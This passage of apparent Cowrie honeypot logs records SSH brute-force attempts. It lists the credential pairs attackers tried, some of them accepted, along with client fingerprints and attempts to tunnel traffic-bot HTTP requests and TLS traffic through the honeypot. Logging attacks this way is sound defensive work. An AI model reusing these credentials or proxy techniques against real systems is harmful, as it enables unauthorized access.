{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:25.450039Z","src_ip":"49.247.37.22","session":"59144e706f3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:26.098448Z","session":"256ca2a13bd1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:26.114200Z","src_ip":"23.148.145.132","session":"256ca2a13bd1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 15_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1.1 Mobile/19B81 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=P3A4e2UzellfWCE4IWpORA%3D%3DR1X5H2r46wbqs2iV6LvHA2O%2FeSLmt6JsfN8ZoNbiucsyBqggIh8gESRY6R%2Fx0w6oRakaQCtqBFvul5M9vjwna6MKWhSbbHZkCEBL91N6mWitZoGoFCH67DcxoZcIS39GF3udIItsMKKT64ovNYcQ8uKqIHHsQ3YPhsQVn%2FQ5QINKHrR5Eb08hix4r3StNMQs0vAoFQf6%2Fnd%2BAO21U9VqESbK%2FcEkDjpEwu9luE0xcBK5q6lxduXJRkwFOckhMkrIpLKdAPS2Lk%2FMmhmFngUXNWjVwq6t0IRJpaNh%2Faxt8kdT4rSTrSYBYVPryL8D8KTQhuJ51tHgWZLVmbDd72EIn7rvLr%2BngXVxXk7laU0i5Y53eMw83Hnwl5OqWC67o%2BuHtMhwAhOG9ZyTAZeXdff8u8C9M23EIm1qnLLasrUTtrdEB6%2BPoDCy%2FNf1ym7J5wbYmZB%2FtxFPu2Gg8JgWHqsab6kvW3o1S4wYvzRDxHjwXzpazrmThx8B3jHKlXcN%2FfRCCrgVkpN%2FQo38KdWPERul6CU%2BGyRVTkV4hGLWlwzt8%2Fr0MbcHZY66CsuITKdUTV%2BMlPDrXkGPjPnBV6JKOt6nOjzOKqI3kK1EKeHAQ6KQoIZcKQmdvBH%2FcLDARjbLjgRadYGDeT3V3Pa1DAG6qrj4AE5EUq%2Bct12i98UaAORMjWp84Ryrsjo7BTJSaYrfAkHuLBiZ1HdkWXa1Qek4CHOOWbsFD23q4LPUG71QoIJmQt08yd3OF2n4YXxZuid6f5LUw64cknqt99lPmIcHA1jS%2FOw6MEE8aEDCerc4ysQ0Cgpfp2OSNtTXMDJ9ErJC1oDzklSn0lAq%2B3lFCD18TAzoOhTmEBEOweSo%2Bbk6NXdvYeanaU693EWPcdPTjFL7E9lFsvCRjmxsxhvjDnnZGHjdqA%2F0lpO69F%2BLuABwe2S%2BllW7bwWqllYQv7ZfcGeY3SBKpAdRoRMLwYCY%2BXPVFXVRphE1tJWVvC4qBZIBz1mLh%2BZEOG7gc9LQnKpQd8tT1ybIItFZfweLwYRmkXCFyK1C2M3MIFwyFQsPnv%2F1TU7j%2ByogS4BGahq%2FiP0Umz%2F0aP8D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 15_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1.1 Mobile/19B81 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=P3A4e2UzellfWCE4IWpORA%3D%3DR1X5H2r46wbqs2iV6LvHA2O%2FeSLmt6JsfN8ZoNbiucsyBqggIh8gESRY6R%2Fx0w6oRakaQCtqBFvul5M9vjwna6MKWhSbbHZkCEBL91N6mWitZoGoFCH67DcxoZcIS39GF3udIItsMKKT64ovNYcQ8uKqIHHsQ3YPhsQVn%2FQ5QINKHrR5Eb08hix4r3StNMQs0vAoFQf6%2Fnd%2BAO21U9VqESbK%2FcEkDjpEwu9luE0xcBK5q6lxduXJRkwFOckhMkrIpLKdAPS2Lk%2FMmhmFngUXNWjVwq6t0IRJpaNh%2Faxt8kdT4rSTrSYBYVPryL8D8KTQhuJ51tHgWZLVmbDd72EIn7rvLr%2BngXVxXk7laU0i5Y53eMw83Hnwl5OqWC67o%2BuHtMhwAhOG9ZyTAZeXdff8u8C9M23EIm1qnLLasrUTtrdEB6%2BPoDCy%2FNf1ym7J5wbYmZB%2FtxFPu2Gg8JgWHqsab6kvW3o1S4wYvzRDxHjwXzpazrmThx8B3jHKlXcN%2FfRCCrgVkpN%2FQo38KdWPERul6CU%2BGyRVTkV4hGLWlwzt8%2Fr0MbcHZY66CsuITKdUTV%2BMlPDrXkGPjPnBV6JKOt6nOjzOKqI3kK1EKeHAQ6KQoIZcKQmdvBH%2FcLDARjbLjgRadYGDeT3V3Pa1DAG6qrj4AE5EUq%2Bct12i98UaAORMjWp84Ryrsjo7BTJSaYrfAkHuLBiZ1HdkWXa1Qek4CHOOWbsFD23q4LPUG71QoIJmQt08yd3OF2n4YXxZuid6f5LUw64cknqt99lPmIcHA1jS%2FOw6MEE8aEDCerc4ysQ0Cgpfp2OSNtTXMDJ9ErJC1oDzklSn0lAq%2B3lFCD18TAzoOhTmEBEOweSo%2Bbk6NXdvYeanaU693EWPcdPTjFL7E9lFsvCRjmxsxhvjDnnZGHjdqA%2F0lpO69F%2BLuABwe2S%2BllW7bwWqllYQv7ZfcGeY3SBKpAdRoRMLwYCY%2BXPVFXVRphE1tJWVvC4qBZIBz1mLh%2BZEOG7gc9LQnKpQd8tT1ybIItFZfweLwYRmkXCFyK1C2M3MIFwyFQsPnv%2F1TU7j%2ByogS4BGahq%2FiP0Umz%2F0aP8D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:26.117402Z","src_ip":"23.148.145.132","session":"256ca2a13bd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":63352,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cd969776f87","protocol":"ssh","message":"New connection: 123.27.168.40:63352 (10.17.0.5:22) [session: 6cd969776f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:26.255416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:26.259911Z","src_ip":"123.27.168.40","session":"6cd969776f87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:26.626032Z","src_ip":"123.27.168.40","session":"6cd969776f87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:26.663424Z","src_ip":"49.247.37.22","session":"59144e706f3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":29854,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6cb6e363335","protocol":"ssh","message":"New connection: 49.247.37.22:29854 (159.203.135.109:22) [session: b6cb6e363335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:26.859424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:26.863739Z","src_ip":"49.247.37.22","session":"b6cb6e363335","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:27.063362Z","src_ip":"49.247.37.22","session":"b6cb6e363335","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.9","message":"Connection lost after 17.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:27.529953Z","src_ip":"23.175.50.51","session":"e90fea06bd63","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:27.899868Z","src_ip":"49.247.37.22","session":"b6cb6e363335","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:28.011689Z","src_ip":"123.27.168.40","session":"6cd969776f87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:28.105485Z","src_ip":"49.247.37.22","session":"b6cb6e363335","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:28.111512Z","src_ip":"49.247.37.22","session":"6345a074a6da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:28.443155Z","session":"6cd969776f87","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:28.570397Z","session":"6cd969776f87","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:28.690290Z","src_ip":"123.27.168.40","session":"6cd969776f87","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.88 Mobile/17E255 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=SClYbi96KV5KRDxScVpzPw%3D%3D61UBe6MlCufG86J1n7Bb3%2BwblWMBCnoufe3sYauiVPdysd4RuvgX26Xv1orkOm4kZ%2B6vbTIJmDNrxYkwboi1%2FkACV0Vg%2FImxMC%2BRaUr2q8%2Fa7r%2BpXzzf9qZ%2BVLRXOo5%2BDmj4CGKlieufpBpoEnOcYYYzLGwePusJrTiCpOal8PyYohrNalYLeyD6ClHK6UWH99xqcFQ70v0J3%2F8HaRH3yit01Yve2OsxgXXV2I%2FpBSIfVKzuH3WD2VOB%2FtHAvXH%2FRR3z7L4dOVsEdL7Yw1EkKcp3TRiqgmiteKz4jTxRiv9h1VIqwQw9uVty1ahNzRZe9D%2FzB8Z3556al6ZlZuOb9uW9q%2BuSvRDMCxwogVb6s1AFO7O03zbR6LvSWiBIR5d5cJF713ccTu37prGQHOnYhcvkOzFSqM8AR3aJiNEOXGU3q2gkpK2mr%2FLm5Om0%2F4mKI4%2FG7i2W1Mj9XP0PXfT9v0U%2BeH3lH63SfHF%2BNOld0OuhozKbdanSRw%2Ba5SivOt8qdiADVVlhWX4bO9PFp1%2BKntz4jHKBNgReIvTRjgxovP1Oi8t6JL%2B7ycRflrB148Bz3ljFOnnuG9DurBwRXkfEaHjKQW9vy1CUlCafxjzbjXCTUqQ2U%2FnhCf3escV%2FHR7%2BMI24Fb74mv3KwcGosSb4N0p%2FxRRqhrn4fF4%2F%2BYAxBf527afDHyKLx99kfNVN7qyp5Z34F5wNdl6Y6%2FfAdPOUo3lRA%2FDJXnIqAXDJ6xJmJcYiIzVCYidU%2BQFIKm4nNcHI06lrHYEShJTsPlHor17h6aieDvUl5GXUKNemvC8659rOQ1jNIJXXWhNvHkk%2Bozy5vS%2FCyxLmU3W7wImVEbwOh3oO19VNPAmXsX%2BmUrmnnZDXuwemXiAtXr0XI2LDdMEyQSPYvTD6vdwztoE4eZmk0i%2F1VGAozPvDk3Q9DyDWyDUo1BRDKWfKV%2F%2BDAhN06vkUFCDm7rM1PppJ1RpKmOb%2BxaP53EnEcMqnwa2F3DeV2ujtdDmduzP5NYJzuLzRc5Tj5T5kUa57GshUnFwT7Z2dJ6Onb7t%2BCgzeoWs63k1Ke4%2BaajeorJ6K2f9X%2FO8RrC8t'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.88 Mobile/17E255 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=SClYbi96KV5KRDxScVpzPw%3D%3D61UBe6MlCufG86J1n7Bb3%2BwblWMBCnoufe3sYauiVPdysd4RuvgX26Xv1orkOm4kZ%2B6vbTIJmDNrxYkwboi1%2FkACV0Vg%2FImxMC%2BRaUr2q8%2Fa7r%2BpXzzf9qZ%2BVLRXOo5%2BDmj4CGKlieufpBpoEnOcYYYzLGwePusJrTiCpOal8PyYohrNalYLeyD6ClHK6UWH99xqcFQ70v0J3%2F8HaRH3yit01Yve2OsxgXXV2I%2FpBSIfVKzuH3WD2VOB%2FtHAvXH%2FRR3z7L4dOVsEdL7Yw1EkKcp3TRiqgmiteKz4jTxRiv9h1VIqwQw9uVty1ahNzRZe9D%2FzB8Z3556al6ZlZuOb9uW9q%2BuSvRDMCxwogVb6s1AFO7O03zbR6LvSWiBIR5d5cJF713ccTu37prGQHOnYhcvkOzFSqM8AR3aJiNEOXGU3q2gkpK2mr%2FLm5Om0%2F4mKI4%2FG7i2W1Mj9XP0PXfT9v0U%2BeH3lH63SfHF%2BNOld0OuhozKbdanSRw%2Ba5SivOt8qdiADVVlhWX4bO9PFp1%2BKntz4jHKBNgReIvTRjgxovP1Oi8t6JL%2B7ycRflrB148Bz3ljFOnnuG9DurBwRXkfEaHjKQW9vy1CUlCafxjzbjXCTUqQ2U%2FnhCf3escV%2FHR7%2BMI24Fb74mv3KwcGosSb4N0p%2FxRRqhrn4fF4%2F%2BYAxBf527afDHyKLx99kfNVN7qyp5Z34F5wNdl6Y6%2FfAdPOUo3lRA%2FDJXnIqAXDJ6xJmJcYiIzVCYidU%2BQFIKm4nNcHI06lrHYEShJTsPlHor17h6aieDvUl5GXUKNemvC8659rOQ1jNIJXXWhNvHkk%2Bozy5vS%2FCyxLmU3W7wImVEbwOh3oO19VNPAmXsX%2BmUrmnnZDXuwemXiAtXr0XI2LDdMEyQSPYvTD6vdwztoE4eZmk0i%2F1VGAozPvDk3Q9DyDWyDUo1BRDKWfKV%2F%2BDAhN06vkUFCDm7rM1PppJ1RpKmOb%2BxaP53EnEcMqnwa2F3DeV2ujtdDmduzP5NYJzuLzRc5Tj5T5kUa57GshUnFwT7Z2dJ6Onb7t%2BCgzeoWs63k1Ke4%2BaajeorJ6K2f9X%2FO8RrC8t'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:28.693645Z","src_ip":"123.27.168.40","session":"6cd969776f87","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:28.948294Z","src_ip":"123.27.168.40","session":"6cd969776f87","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03#\\xb4\\xf3\\xcf\\xf0\\xea$\\x0c\\xef~\\x9c\\x8e\\xe5\\x9e\\xfe\\xaby\\x18\\xe1^^\\xe8-\\xfb\\x8aa\\xdf\\x7f\\xcc\\xeb#? \\x82\\xce\\xb0\\xcd\\xb6\\x85\\xb7`5y\\xc2r\\xc7W\\xa9\\xd1\\xb7^5\\x83\\n3\\x01\\xdeN\\xfecb\\xf8\\xa7\\x05\\xb2\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe4cz\\x99\\xf6)\\xef\\xc5h2\\xf4\\xe7\\xba\\xe3\\xfd\\x03ap\\xd9*)\\x9d9\\xfal\\xd3w\\x82\\xba\\xd2.a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03#\\xb4\\xf3\\xcf\\xf0\\xea$\\x0c\\xef~\\x9c\\x8e\\xe5\\x9e\\xfe\\xaby\\x18\\xe1^^\\xe8-\\xfb\\x8aa\\xdf\\x7f\\xcc\\xeb#? \\x82\\xce\\xb0\\xcd\\xb6\\x85\\xb7`5y\\xc2r\\xc7W\\xa9\\xd1\\xb7^5\\x83\\n3\\x01\\xdeN\\xfecb\\xf8\\xa7\\x05\\xb2\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe4cz\\x99\\xf6)\\xef\\xc5h2\\xf4\\xe7\\xba\\xe3\\xfd\\x03ap\\xd9*)\\x9d9\\xfal\\xd3w\\x82\\xba\\xd2.a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x